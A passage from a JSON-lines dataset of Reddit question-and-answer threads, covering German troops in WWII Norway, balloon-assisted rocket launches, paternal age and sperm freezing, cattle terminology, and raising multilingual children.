and mL's are equivalent... I have to break out the spreadsheet to transform my problematic units."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Litre", "mol.dm"], [], []]}
{"q_id": "2h8oys", "title": "Why weren't the nearly 600 000 Wermacht soldiers stationed in Norway and Denmark during the final months of WWII, brought back to fight in germany?", "selftext": "I am Norwegian, and have a great interest in WWII, especially WWII in Norway. In some literature, (most notably the norwegian movie \"Max Manus\") the explanation given for the lack of troop movement back to germany, is basically that the norwegian resistance detroyed infrastructure to halt german movements in Norway.\n\nHowever, it seems to me that the germans would have greatly benefitted by using more than half a million fresh battle-ready soldiers during the final months of the war. Why did they not retreat from Norway, and move troops to the defence lines?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2h8oys/why_werent_the_nearly_600_000_wermacht_soldiers/", "answers": {"a_id": ["ckqhdxm", "ckql087", "ckqqhsz", "ckqxjax", "ckr3jx0"], "score": [589, 113, 10, 5, 2], "text": ["Several points which could have affected this decision to varying degrees.\n\n* You need a certain amount of troops as occupation force if you don't want to lose the country and give it to the allies ( resistance for example).The Wehrmacht was an occupation force and not liked. Having not enough troops would have likely resulted in an uprising. How much forces you really need to controll Norway during WWII is debatable but i agree with your opinion that at least a significant part of these troops could have been used elsewhere to greater effect. \n\n* Norway was important for several reason and could not be abandoned. Securing Swedens neutrality for example. Trading with Sweden was vital and could not be risked. Obviously Swedens importance diminished in the last year but Hitlers strategy was winning the war and thus the Iron Ore was needed for the future. There are obviously more factors like naval and airforce bases. An allied bridgehead would have been disastrous for the German war effort. Not so much in 45 but before that.\n\n* Hindsight is 20/20 today everybody knows that the Allies landed in the Normandy and didn't plan to launch a major landing in Scandinavia. This possibility was not outruled by Germany. Norway was part of the Atlantic Wall and considered a potential target. Several british raids took place in Norway for example. \n\n* Occupation forces generally have less fighting value than frontline divisions they are also equiped differently. Many of them are static divisions which means they have reduced strength and lack transportation capabilities. They were only useful for defensive purposes. To give you an idea even the divisions in Normandy were very weak formations which lacked equipment and used lower rated soldiers even tough the Normandy had obviously a higher priority than Norway. Only a part of the numbers you have mentioned represents infantry. \n\n* These divisions would not have been used as front units immediatly because of the above mentioned point. The units would have been brought back to Germany the unit then would be refitted and equipment as regular divisions likely as Volksgrenadierdivision . Adding artillery and transportation for example. Or the soldiers would become replacement soldiers for burned out divisions. Generally the German system tried to have soldiers stay together this was common practice and improved fighting power since soldieres were fighting along side people they bonded with. \n\n* Weakening of the Norway troops would have affected the situation at the Finish front. The German troops there would have been exposed to certain threats. ( Before 1944 obviously )\n\n* Since you asked specific about the last months it should be noted that transporting big amount of troops over sea during this time was very dangerous. Allied airforces and uboats were wrecking havoc on German ships during the last months of the war. A lot of people died on ships during these months. Reducing the Courland pocked was very tough for example. The Gusloff and Goya alone took 15.000 people with them when they sunk.\n\n* Manpower was not the only problem of the Wehrmacht. Having a lot of soldiers doesn't help much when you can't move them and most transportation vehicles and AFV can't operate because they lack fuel. At a certain point soldiers just become cannon fodder if the structure of the units gets destroyed. The entire system was collapsing. \n\nHonestly i don't know when and why the decision was made not to use these troops but iam certain this possibility was discussed. Your question is interesting and i hope somebody else has a proper answer but until then the above mentioned points should have influenced this decision greatly.\n\n > In some literature, (most notably the norwegian movie \"Max Manus\") the explanation given for the lack of troop movement back to germany, is basically that the norwegian resistance detroyed infrastructure to halt german movements in Norway.\n\nIts highly unlikely that this was the major reason. When Germans wanted to move units they did it. They moved several Panzer divisions to the Normandy during constant air raids and massiv resistance activities. Same for the Eastern Front were partisans were attacking supply chains and railroads for several years with a lot of more ressources and men to their disposal than the Norwegian resistance fighters. \n\n***Edit***\n\nIn response to user:domini_canes: \n\nIn regards to Norwegian partisans and their impact on a possible troop movement. Rereading some passages i have found nothing to suggest that significant impact of Norwegian partisans was recorded in the books i have encountered on that subject.\n\nOne major unit which was transferred from Finnland over Norway to Germany for Defense of the Reich duty was the 6th SS mountain Division. This unit travelled from northern Norway to combat in France in about 45 days. The unit was at full strenght 20.000 men. No major problems are noted in both books. There is nothing which would suggest that a movement of over units ( likely Mountain divisions of the 20th Mountain Army ) would be hampered in a significant way. In outlined in another point that only a portion of the troops in Norway were infantry and only a portion of these men was suitable for relocation. The easy movement of the 6th SS indicates that movement of over divisions would not have posed a major problem. ( note: this means in late 44 )\n\n* In Final Defense of the Reich: The Destruction of the 6th SS Mountain Divison \"Nord\" \n\n* Hitlers Mountain Troops 1939-1945\n\nIn regards to the disparity of quality between static divisions and divisions fit for offensive operations there is a plethora of sources but since i mentioned the Normandy.\n\n* The Germans in Normandy ( also recommended for best understanding of German POV )\n\n* Normandy 1944: German Military Organization, Combat Power and Organizational Effectiveness", "There are several reasons Norway contained so much German troops. \n\n* The Kriegsmarine (the German navy) had most of its assets in Norway. Even if most of the large ships had been sunk, Norway was still the main u-boat base after the allies had regained France. There were large numbers of Kriegsmarine support personell (mechanics, dock workers, administrative staff, supply personell and so on) in Norway, as well as the naval crews.\n\n* Construction troops were in Norway to keep reinforcing the Atlantic Wall that the Germans were building. Sweden continued to export iron ore to Germany up to October 1944, and Norway was vital to protect this trade. The Germans feared allied actions against Norway and kept constructing forficiations there, especially as the loss of the French iron mines had made the Germans dependent on Swedish ore again.\n\n* The 20. Gebirgs-armee had retreated from Finland, pursued by the Finnish army, into northern Norway and arrived to the area around Narvik in April 1945 after a winter march through Finnmark (northernmost Norway) torching anything behind them and seeding the terrain with mines to prevent a pursuit by the Red Army or the Finnish Army.\n\n* Towards the end of the war, the Luftwaffe moved a lot of what remained of their assets to Norway to have a nucleus to rebuild from, as their bases were under such attack that they could hardly maintain any kind of flying presence. With them went support and ground personell akin to the navy (mechanics, supply staff, administrative staff etc).\n\n* The coastline of Norway is extremely long and crisscrossed by deep bays called fjords. To guard all this against an enemy landing required a large amount of troops. However, most of these were 2nd or even 3rd line garrison troops with captured French or Soviet artillery, no vehicles to move their guns or supply the troops if they should move. They were fit to sit in bunkers guarding the coast - in any kind of open battle, they would be thoroughly trashed.\n\nThe Germans did move the best of their forces from Norway, and replaced them with garrison troops. The 25. Panzer-division moved away from Norway in late August 1943, and Panzer-division 'Norwegen' that was constructed in its place never reached brigade size, and constantly bled its best officers and men to Germany to replace lossed in troops fighting on the Eastern and Western Fronts. The Germans were also hampered by the lack of naval transport and the difficulty to get units past the ever more vigilant Allied naval and air forces over the North Sea, especially when Sweden cancelled the transit agreement which had allowed the Germans to move unarmed soldiers over the Swedish railway network in August 1943.\n\nSo, the only units in Norway or Denmark that was actually capable of fighting frontline units were the mountain units of 20. Gebirgs-armee (and they were not the most stellar of the German units either, having failed to take Murmansk over three years) that arrived in Narvik in April 1945. By that time, the Germans lacked the ability to move them from Norway to the continent.\n\nThere were masisve amounts of rear-area units in the German army that surrendered in the last months of the war. Just because the Allies captured ~3,5 million Germans just before the war ended and disarmed another ~3 million just after the war ended does not mean that the Germans had 6,5 million men in combat units early 1945.\n\nThere are always going to be cooks, clerks, mechanics, drivers, labourers, railway workers, AA gunners, police and gendarmes, liasons, staff officers, medical personell, dock workers, engineers, local defence, home guard and militia and so forth that are in uniform and probably armed (even with just a rifle or a pistol) that count as soldiers when putting up numbers, but whose combat capability is so low that they are more of a drain (on supplies) than a help in a frontline combat situation.", "There were two major factors to why 600,000 soldiers remained in Norway, and both had to do with deception.\n\nOne was [Operation Fortitude](_URL_0_), which completely fooled the Germans in thinking that Operation Overlord was a two part invasion with one being in Normandy, and the other in Norway.  Thinking this, the Germans kept a defense force in Norway.\n\nThe second (which really is the foundation of why the Germans thought Operation Fortitude was real) were the double agents Mutt and Jeff (source _URL_1_), who were enlisted as spies for the Abwehr (German intelligence) but were, in fact, feeding the Germans false information because they were British agents. ", "Aactually the Wehrmacht DID withdraw from Norway, but only in two (of 19) of the most northern administrative areas in Norway called fylker, Finnmark and Nord-Troms.\n\nFrom october 1944 to may 1945, as part of the murmanskfront, the Wehrmacht systematically withdrew from the northern parts of Norway, applying scorched earth policy as they went south. \n\nWhen Finland signed the peacetreaty with the sovjet union the germans had to withdrew their troops and material from Finland, the operation was called Operation Nordlicht. They did this via a northern route into Norway. To make it as difficult as possible for the Red Army to follow the Wehrmacht, Joseph Terboven (Reichskommissar Norwegen) decided that everything be destroyed systematically as the Wehrmacht slowly made their way south. There were opposition from important members of the Wehrmacht like Nikolaus von Falkenhorst (commander of Wehrmacht in Norway), who saw the order as being needlessly harsh and destructive. Bridges, roads, churches, schools, hospitals, telegraph poles etc were either demolished or set aflame. \n\nAfter WW2 it was called t the single biggest disaster to have befallen Norway since the plague, in terms of the scale of destruction and damage done (but not human lives.)", "Follow up question: Why didn't Hitler invade Sweden? Was it because he couldn't afford to occupy anymore countries? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Operation_Fortitude", "http://en.wikipedia.org/wiki/Mutt_and_Jeff_(spies)"], [], []]}
{"q_id": "445m8t", "title": "Would it be more fuel efficient and less dangerous to float a rocket into the upper atmosphere with balloons before igniting the boosters?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/445m8t/would_it_be_more_fuel_efficient_and_less/", "answers": {"a_id": ["cznmhu3", "cznoyea", "cznp4pb", "cznrtbs", "czns9bz", "cznuca7", "cznuuy1", "cznv92o", "cznwvtm", "cznx6sk", "cznzup1", "czo0w49", "czo3ssv", "czo4ogr", "czob87b", "czofclo", "czogcly", "czok41k", "czor1wt", "czou4an"], "score": [1926, 7, 1079, 4, 62, 74, 5, 2, 13, 4, 2, 5, 2, 4, 2, 2, 2, 7, 2, 2], "text": ["First, you would need a very large amount of balloons, which would make things quite complicated on the ground already. And in the air, when you detach the balloons and ignite the rocket, you'll have to do it in such a way that the balloons and all the components used for the connection don't get in the way.\n\nNext issue is the fact that balloons are hard to control. The rocket can end up pretty much anywhere depending on which direction the wind feels like blowing. The actual destination of the rocket is often rather precise, so additional effort has to be put in getting the rocket back in the right direction.\n\nBut the biggest issue of all is the fact that getting to space is really quite simple and cheap. The problem is staying in space. In order to get to space and stay there, you have to fly rather high, but mostly really fast to avoid falling back to Earth. The balloons will help somewhat with flying high once you've overcome the issues I mentioned before, but by far the most energy goes into flying really fast and the balloons don't do anything there.\n\nSee also this What-If post:\n_URL_0_", "TL;DR Possibly more fuel efficient, but it would be more dangerous.\n\nFuel Efficiency:\n\nOrbits are a VERY precise thing, and adjusting them if you're off course consumes more fuel than you'd think. Most rockets/payloads/whathaveyou only have enough fuel to adjust their orbits by a few degrees; so missing your orbit badly will mean the whole mission is scrubbed and whatever you just put up will now have to be crashed back to Earth. The closer you can get your launch to the exact orbit/location you want, the less excess fuel you have to carry to adjust its orbit... so if you can get the balloons to float to a VERY precise location, and have the rocket launch reliably (from what would, by definition, be a very unstable platform) then yes, you can save fuel.\n\nMore Dangerous:\n\nUnfortunately, balloons float; which means that more-than-likely they're going to be above whatever you want to launch. So either;\n\n1) you need to put the balloons below the rocket; which is a dynamically unstable configuration, and the whole thing is likely to flip upside down before it gets to the desired launch altitude.\n\n2) you'd need to disconnect the balloons, let the rocket begin falling (to give the balloons times to clear the path) and then ignite; the issue here is that while the rocket is in free-fall, the rocket will try to re-orient itself to a more aerodynamically stable orientation, ie. pointing the direction it's falling, and now you don't know which way the rocket is pointing when it's igniting and you could miss your orbit quite badly.\n\n3) You fire the rocket through the balloons and hope nothing bad happens - but the orientation of the rocket will still be unpredictable, because the wind will cause the rocket to lean into the wind (due to good ol' stability and the fact that you have an airborne pendulum), and when it ignites, it could be pointing in vastly the wrong direction.", "What you are talking about is [Rockoon](_URL_3_) and yes - it has been done in past, but so far only for a [sounding rockets](_URL_2_).\n\nThere's a Spanish company called [zero2infinity](_URL_1_) planning to use that concept for [launching](_URL_5_) nanosatellites in a rocket called [Bloostar](_URL_6_).\n\nThe major advantage of this method is that you can use engines with [nozzle](_URL_4_) suitable for vacuum right off the bat - no need to have a stage for initial takeoff in dense atmosphere. You also don't have to worry too much about [Max Q](_URL_0_) cause atmosphere is already very rare at this altitude, so you can have a light fairing and (basically) as high acceleration rate as you want. That makes rocket more efficient, saving fuel and reducing mass. Obviously though - you still need to accelerate to keep your spacecraft in orbit, which is where most of the energy from launch goes.\n", "What about an underground tunnel system that used pressure? I saw the other day that the fastest thing we have ever measured (man-made) was a manhole that shot from the earth after an atomic bomb experiment. Could that principle be applied to launching satellites? At least the initial acceleration of it", "Source, my wife worked on NASA's LDSD test platform.\n\nYes, it is more fuel efficient, and for certain applications balloons are excellent at getting payloads quite high up.  When LDSD is tested they balloon it up from a military facility on Kauai to 120,000 feet, then activate spin stabilizing motors, then fire the main engine, pushing it up to 180,000 feet, then fire reverse-spin motors to stop the spin, then test the parachutes in an environment similar to Mars' atmosphere.  This mission was constructed to be as inexpensive as possible while still achieving the goal.\n\nThe problem is for larger payloads that have to go higher they simply can't balloon-lift enough mass.  A 1930s Zeppelin like the Hindenburg had an effective cargo capacity of around sixteen tons.  The Apollo Command Service Module *by itself* weighs over eighteen tons, without any of the rest of the launch vehicle in mind.\n\nIt might make more sense to launch from high altitude terrestrial facilities, but few space-capable nations hold territory at low latitude that's also high altitude, and getting supplies to high altitude poses its own challenges, and as the issues in Hawaii with the new telescope show, projects on high altitude peaks often face stiff local opposition.", "Balloons wouldn't be very effective, for reasons already discussed in this thread. However, we do have a reliable and stable way to get rockets above the thickest part of the atmosphere: airplanes.\n\nThe [Pegasus rocket](_URL_0_) is drop-launched from a Lockheed L-1011 at 40,000 feet, replacing a large and costly first stage. Although the carrier aircraft only takes the rocket to about 4% of its orbital altitude and 3% of necessary speed, launching the rocket completely out of the troposphere allows for lighter payload fairings (max dynamic pressure is far lower at altitude), cheaper and more efficient rocket nozzles (rockets work more efficiently in lower pressures, and the Pegasus uses fins to steer its first stage instead of a more complex gimbal system), and essentially eliminates the problem of weather delaying launches (the carrier aircraft, which can deal with bad weather far better than a rocket, flies above weather systems before launch).", "What about strapping it on horizontal rail-car and making rails turn slowly vertical over a mile or so. Using linear motors to accelerate it to high speed and igniting rockets when it it getting vertical? All that initial speed will be provided by fuel it does not need to carry.", "Here's how I envision it. You would have a ring, connected to the rocket slightly over halfway up the hull of the rocket (so that the nose of the rocket would still be pointing up) and encircling the rocket, large enough so that the rocket could fly through the ring. The 'balloon' would be attached to the exterior of the ring and would be another large ring (not a bunch of balloons, that could potentially be a clutter issue). Once the highest altitude is reached, the balloon would start deflating at around the same time the rockets begin to fire so that the ring/balloon would lose buoyancy and start to fall, allowing the rocket to move through it unimpeded.\n\n\nProblems/benefits\n\n1. Vector/direction. Guiding the rocket to the orbit that you want it to go is difficult when you don't have a clear starting point (balloons wobble/float around a lot).\n\n\n2. Efficiency. You'd gain fuel efficiency from floating it up. High enough up and you'd see benefits from less air resistance.\n\n\n3. Balloon size/debris. The balloon would need to be absolutely enormous. [Look at the size of the balloon to the payload](_URL_0_). It would also float down to earth somewhere - not as big an issue.\n\n\n4. Speed!! In order to maintain orbit, you need to be moving VERY fast. Low orbit speeds require around 7.8 km/s or 4.8 mps (17,450 mph). You're gonna need a big rocket for that regardless. Air friction is the only real benefit from the altitude, as other have said in the thread, low earth orbit still has about 90% of the gravity that we have on the surface.", "A similar but much more powerful idea is the [launch loop](_URL_0_), also known as the [Lofstrom loop](_URL_1_) after one of its proponents.\n\nThink about holding a garden hose in your hand while letting it flop.  Then you turn on the water and the hose rears up from the force of the water passing through it.  The launch loop works the same way, only the water is actually iron balls, the faucet is a magnetic accelerator, and the hose is a closed loop with a vacuum inside to minimize energy loss.\n\nThe advantage of this is you've gotten past the dense lower atmosphere and most of the way to orbit very efficiently.  You lift payloads up the guy wires.  Then you can launch payloads from the top of the loop with a steam/magnetic catapult (like a carrier) and/or rocket.  Then all you need is a tiny rocket to kick you into a circular orbit.\n\nThe cool thing is that unlike other mega-structures it doesn't require any exotic materials.  It would be a huge feat of engineering/construction but all the problems are pretty straightforward and within the reach of today's science.  We could start building one tomorrow if we wanted.  \n\nLofstrom calculates that a system operating at 300MW would cost about $10 billion up front (less than the cost to develop the SLS rocket system) and at $300/kg it would pay itself back in 1 year.  At 20GW it would cost $30 billion and at $3/kg it would pay itself back in 5 years.  Most rockets are something on the order of $3000/kg, so it would massively decrease the cost of getting stuff into space.", "For small research rockets, yes.  As others have pointed out it isn't getting high enough that is the problem; it's achieving enough orbital speed to stay in space.\n\nFor a research rocket that is just going to go up to the edge of the atmosphere and take some measurements and then come back to earth this actually does make some sense.  At higher altitudes the air resistance is less so the rocket has to use less fuel just to overcome it.\n\nThis technique was used by [James Van Allen](_URL_0_) during the early days of his research into the upper atmosphere.  The data from these early flights inspired further investigation.  Later research using \"real\" rockets eventually led to the discovery of the [radiation belt](_URL_1_) surrounding Earth that bears his name.\n", "The major problem is not the balloons getting in the way or directional control. These can be compensated for with a little forethought. The biggest issue is the finite amount if helium on earth. The amount you would use would be staggering and then it just flies off into space. We would have very few of these launches before it became near impossible to obtain enough buoyant gases to continue the project.", "There was actually a kickstarter called Vulture 2 associated with [project LOHAN](_URL_1_) Low Orbital Helium Assisted Navigator that was attempting to to launch a tiny space plane at 65,000 feet.\n\nThey kept running into issues with the FAA and temperature.  They're still [at it](_URL_0_)", "Using the Saturn V as a place holder it's a tentative question of balancing you efforts with a 5,000,000lbs weight savings. Some savings will be eaten up to compensate for the momentum losses in the absence of a first stage. \n\nMore than lifting the rocket I think the problem would be the added weight of all the equipment that's normally ground based and needed to prime the engines to begin the launch procedure. Their are cryogenic tanks and fuel mixing equipment that are are kept off board on the ground, the normal external power ombilicals that power the rocket before its APU start. \n\nUltimately why a balloon isn't used is because once you have an efficient rocket motor design you have proven technology that's applicable to all stages while a massive balloon system would see just as many challenges but with a whole section built from scratch as opposed to using your proven technology. This is why a rocketed space plane carried by a conventional plane and launched like that weren't ready for prime time until a half a century of trying.", "While possible, and indeed practical, the problem arises when the fact that, despite it being the second most abundant element in the universe, we have very little on earth and scientists the world over are trying to conserve whatever precious helium we can salvage from left over gas from experiments, Alpha decay from radioactive elements, using such a large store of helium would put a massive dent into the worlds already dwindling resources of helium, which we need for supercooling certain experiments which can only be run in very cold temperatures.", "Yes, but not for the reasons you'd think. Height is irrelevant, but going to the upper atmosphere would mean you could use a higher expansion rocket nozzle, producing higher Isp (greater efficiency). That efficiency is offset by the extra complexity and difficulty of building a system to put a large launch vehicle in the stratosphere though.\n\nNote that plane launched rocketry is based on a similar concept.", "I like the idea of having a rocket launcher on the moon that encircles the equator of the moon, and uses a railgun type system to accelerate the rocket for several laps of the moon, and then releases the rocket once the centrifugal force gets too high. I wonder how fast you could get a rocket doing this, and then you'd have all the fuel to keep accelerating for a fair bit.", "This is a difficult question and I'd like to side with the 99 balloons plan, mainly for the song. \n\nHowever there is support for the balloon from a physics standpoint. It's not strong but it's there. \n\nNormally a payload is heavy. In that case lofting above the atmosphere to put your thing into orbit isn't going to help. This is for the same reason that whales don't get cold. The hypersonic friction along the body of your spacecraft is significant, but relative to the mass of the machine and considering all the complex internals it makes a bunch more sense to launch from the ground where you can control everything up to the moment of departure. Launching from the edge of space is trickier.\n\nHowever if your payload was small, the size of a USB stick cam.. the math works out a little different. Then reaching orbit could be accomplished with 4 stage rockets all packed into something the size of a broom handle, but only if you launched from 160,000 feet or so. The skin friction problem is significant for small payloads. ", "I don't have time to read through 599 comments to see if this has been posted, so I'll just post:\n\nYes. & nbsp; It's been done and it works. & nbsp; It's called a \"rockoon\", and the rocket can launch right through the balloon envelope (they are too thin to present much of an obstacle to a rocket).  & nbsp; What you get is a substantial reduction in the drag losses and max Q, and also an increase in thrust due to the reduced exhaust back pressure from the atmosphere. & nbsp; The reduction in altitude needing to be achieved is a relatively small factor.\n\nThis works best with small rockets, for which drag is a bigger factor. & nbsp; Big rockets require impractically large balloons to lift.", "It would have to be a pretty light weight rocket.  Better to launch from a place  that has the elevation of Kazakhstan, the tropical location like French Guiana and the flat terrain of Florida, but Where's that, and could you get it? ", "Yes: _URL_2_ but you can only get a payload of (at most) about 7kg with regular rockets.\n\nThen _URL_1_ postulates using a really really big balloon (actually a funky-shaped blimp that they call an airship): _URL_1_ to lift a payload high enough and then using an ion engine to take it the rest of the way. However, that idea may be dead.  They have 2010 pics, 2011, and 2012-2013 pics, then nothing and while their [Facebook](_URL_0_) page has been regularly updated it seems to be devoted to a submarine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://what-if.xkcd.com/58/"], [], ["https://en.wikipedia.org/wiki/Max_Q", "http://www.0ll00.com/", "https://en.wikipedia.org/wiki/Sounding_rocket", "https://en.wikipedia.org/wiki/Rockoon", "https://en.wikipedia.org/wiki/Rocket_engine_nozzle", "http://www.gizmag.com/zero2infinity-balloon-rocket-launch/34315/", "http://bloostar.com/"], [], [], ["https://en.wikipedia.org/wiki/Pegasus_%28rocket%29"], [], ["http://lightyears.blogs.cnn.com/2012/06/21/hfr-join-cnns-balloon-launch-to-near-space/"], ["https://en.wikipedia.org/wiki/Launch_loop", "http://launchloop.com/LaunchLoop?action=AttachFile&amp;do=get&amp;target=isdc2002loop.pdf"], ["https://en.wikipedia.org/wiki/James_Van_Allen#Aerobee_and_Rockoon", "https://en.wikipedia.org/wiki/Van_Allen_radiation_belt"], [], ["http://www.theregister.co.uk/2016/01/19/lohan_tridge_linux_conf/", "https://www.youtube.com/playlist?list=PLA06564B3F598D75D"], [], [], [], [], [], [], [], ["https://www.facebook.com/jpaerospace/", "http://www.jpaerospace.com/atohandout.pdf", "http://www.hindawi.com/journals/ijae/2012/830536/"]]}
{"q_id": "17bs7k", "title": "Higher paternal age is known to have negative effects on the outcome of the child (e.g. decreased intelligence, higher risk for psychological disorders). Could you technically freeze your sperm when you are 20 to avoid its deterioration and those negative effects?", "selftext": "[The paternal age effect](_URL_0_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17bs7k/higher_paternal_age_is_known_to_have_negative/", "answers": {"a_id": ["c846gfh", "c84bnnd", "c84ckg7"], "score": [33, 6, 11], "text": ["From a quick Google search, I found this web page: _URL_0_\n\n >  Sperm can be frozen for future use either in artificial insemination or other fertility treatments, or be donated.\n > **Sperm cells have been frozen and thawed successfully for more than 40 years**.\n\n >  By storing your sperm, you may be able to use them for treatment in the future. You may want to discuss freezing your sperm with your GP or clinician if:\n\n > * you are about to undergo a vasectomy \n* you have a low sperm count **or are producing sperm that are deteriorating in quality over time** \n* you have difficulty producing a sample on the day of fertility treatment \n* your sperm is going to be used for donation, in which case freezing allows the sperm to be quarantined for six months\n* you have **a medical condition which may result in infertility later in life**, eg, Klinefelter syndrome\n* you are facing medical treatment that may affect your fertility, for example, some forms of cancer treatment.\n", "Has there been a study on the frozen sperm effect?", "Generally, maternal age increases the risk of genetic defects -- most notably trisomies -- but paternal age has much less effect. Recent studies:\n\n_URL_1_\n\nShow increases in hazard ratio of .26 over 35 for men but .3 to 1.4 for women 35+ and 40+ (i.e. increased male age contributes as little as 1/5 the increased risk that increased maternal age contributes).\n\n_URL_0_\n\nIgnoring fertility, the remainder of the wiki article is a very generalized scattershot of \"correlations\" which are difficult to draw any uneducated conclusions.\n\nUnder infant mortality it lists poisoning and injury as conditions that are correlated with paternal age -- which would imply it is child rearing which becomes less effective with age (although it could also be worse education of risks in the elderly). It's really hard to yield useful information.\n\nAnswering your question about sperm freezing at 20: the wiki article quotes a meta-review that says birth weights are best at 25-28 and that 20 is worse, equal to outcomes at 50.\n\nIn any case -- are you sure that long term sperm freezing wouldn't increase risks?\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Paternal_age_effect"], "answers_urls": [["http://www.hfea.gov.uk/74.html"], [], ["http://www.nejm.org/doi/full/10.1056/NEJM199510123331501", "http://aje.oxfordjournals.org/cgi/content/full/161/9/816"]]}
{"q_id": "4ekk0e", "title": "are cows  &  bulls just different genders of the same species? and do we only eat bulls and drink milk of cows?", "selftext": "The internet has clogged my brain with random facts of these animals and I have no idea what to believe. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ekk0e/eli5_are_cows_bulls_just_different_genders_of_the/", "answers": {"a_id": ["d20wssu", "d20wu9h", "d20wvio", "d20xzk0", "d212boq"], "score": [3, 14, 2, 3, 2], "text": ["Eh, cow really has two common usages. It refers to a bovine, and it refers to a female bovine. Bull typically is reserved for specifically uncastrated males, but this isn't always the case either and is sometimes used to refer to a male bovine (intact or not).\n\nInterestingly enough, you know how bitch is a female canine? The word for a male canine is 'dog'. This has largely fallen out of use, though, and people just call both sexes dogs.", " >  Are cows  &  bulls just different genders of the same species?\n\nYes. Cows are female, bulls are male, and both are species *Bos taurus*, otherwise known as domestic cattle.\n\n > And do we only eat bulls and drink milk of cows?\n\nOnly female mammals have mammary glands to produce milk, so yes we only drink milk of dairy cows. Beef cattle are a different breed of cattle (same species, different breed), so in general we eat both male and female beef cattle. \n\nHowever, a cow must give birth to a calf (baby cattle) produce milk, so dairy cows are sometimes crossed with beef bulls so that their calf can grow up to be used for beef or be turned into veal (meat from calves).", "On the off chance you're being serious, I'll answer. \n\nYes, cows and bulls are just the names we give for the sexes of the one species. Like humans are \"man\" and \"woman\", cattle are \"bull\" and \"cow. \n\nCows produce milk and bulls don't. This is the same as in humans: women produce milk when they have recently had a baby and men don't. Women and cows keep producing milk for as long as the milk is being drunk. Farmers keep milking the cows and cows keep producing milk.\n\nAlso, we don't eat bulls often. Most beef is from cows. Farmers tend to keep a herd that is mostly cows and a few bulls because one bull can impregnate a lot of cows and bulls tend to fight with one another.", "Cows and bulls are different nouns for different gender, age and other status for the domestic cattle, species *Bos taurus* becasue apparently herdsman needed special nouns for friggin everything. \n\nI'm going to miss some i'm sure, but a genreal run down of cattle terminology looks something like this:\n\n*Calf. Young cattle of either sex generally sub 1 year of age\n\n*Stocker. Young cattle who've been weaned and are fed on grass or other roughage. \n\n*Short yearling.  Cattle older than 1 year but not 18 months of age. \n\n*Long yearling. Cattle between 19 months and 2 years of age\n\n*Yearling. Cattle between 1 and 2 years of age. \n\n*Bull Calf. A male calf \n\n*Heifer Calf. A female calf\n\n*Bull. Adult male cattle that are intact (Retains testicals.)\n\n*Heifer. Adult Female Cattle that hasn't had babies\n\n*Cow. Adult Female Cattle that has had babies. \n\n*Heiferette. Adult Female Cattle that has given birth once, dried up and sent to slaughter.\n\n*Steer. Adult Male Cattle castrated before sexual maturity but not older than ~4 years. \n\n*Ox. Adult Male Cattle castrated before sexual maturity, trained as a draft animal. Synonymous with bullock except when it isn't.\n\nBLEH. \n\nWe get milk from cows because only female cattle who have given birth can produce milk. While you could get a white creamy liquid from a bull, yields are low and i'd recommend against drinking it. \n\nAs a general rule we don't eat bulls because they're kept around for breeding. Bulls can be rather aggressive and dangerous animals so unless those testicals are needed, they're generally removed to make the animal more docile and easier to control. Which I why we'll eat steers. Oxes and Cows are sometimes eaten but most of the time they're more useful pulling a plow somewhere or making milk than they are being hamburgers. \n", "Boy cows get their junk cut off and then once they reach a certain weight we eat them.\n\nDairy cows are female and they spend most of their lives producing milk until they don't produce milk anymore. Then we eat them.\n\nBulls spend their life banging cows until they can't bang anymore. Then we eat them. \n\nI work on a beef farm we breed Angus bulls with Hereford cows. The calves are adorable. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2znutb", "title": "What is the most efficient way to raise a bilingual child?", "selftext": "Assuming I live in an area where society at large speaks language X. My wife and I both speak languages X, Y, and Z fluently. If we had to drop a language, my wife and I are fine with not teaching our kids Z.\n\nWhat is the most efficient way to raise our children speaking X, Y, and Z? Is it worth it to drop language Z?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2znutb/what_is_the_most_efficient_way_to_raise_a/", "answers": {"a_id": ["cpko1ej", "cpkqw7b", "cpkrupo", "cpkrurr", "cpksoox", "cpkt4rz"], "score": [441, 39, 28, 3, 9, 2], "text": ["If you live in a country where society speaks Language X, there's no real need to use that at home. If the child is given early and regular interaction with speakers of that language, ideally before schooling to keep them linguistically at around the same level as their peers, then they'll learn that as a native language. As far as languages of the home, there's no conclusive evidence that a single method is superior to others in terms of outcome. Some people swear by the one parent, one language method-- each parent speaks to the child in one language only. Others prefer that both languages be used freely with no restrictions. Still others prefer a language for the home and a language outside the home. Whatever the approach, a relentless dedication to providing ample exposure to children in both languages and means of getting the children to produce both languages is key (e.g. incentives, gently refusing to indulge the child in conversation outside the set language). You might want to figure out what strategy seems easiest for you to maintain in order to speak Y and Z in the family, and stick with that.\n\nEDIT: Wow, this blew up. Linguistics comments don't usually get this big and there are not as many requests for sources. Let me just say that my background is in adult bilingualism, rather than child bilingual acquisition. But here are some sources that I've found.\n\nA [well-sourced book](_URL_3_) albeit a bit more practical than academic, on the One Parent One Language model. Even in the introduction the author states that there are many different ways to successfully raise bilingual children. Chapter 7 details many different ways to do it, without concluding the outright superiority of One Parent One Language.\n\nHowever, there appears to be a paucity of the research on the effectiveness of certain approaches over others, as I cannot seem to find many; indeed, in the [*Handbook of Bilingualism*, Backus reports](_URL_0_) that most studies of bilingualism are dealing with middle class parents using the One Parent One Language approach. Thus there's an investigatory bias, but this is no evidence of superiority. I also found [this study](_URL_2_) that reports from the basis of questionnaires that the One Parent One Language approach is neither a necessary nor sufficient condition for active bilingualism, particularly if the parents allow their kids to speak to them in the dominant language of the society. Hence my recommendation that the parents encourage their children to actively use the languages with them. If my colleagues can chime in with studies that speak to these different strategies, that would be great. Also this is [a good article on family language policy](_URL_1_) detailing the complexities of choosing a strategy, though not delving into bilingual acquisition itself.", "I had submitted a similar question a couple of years ago [here](_URL_1_) and got some really good input, especially from language acquisitionist /u/DockingBay_94 who 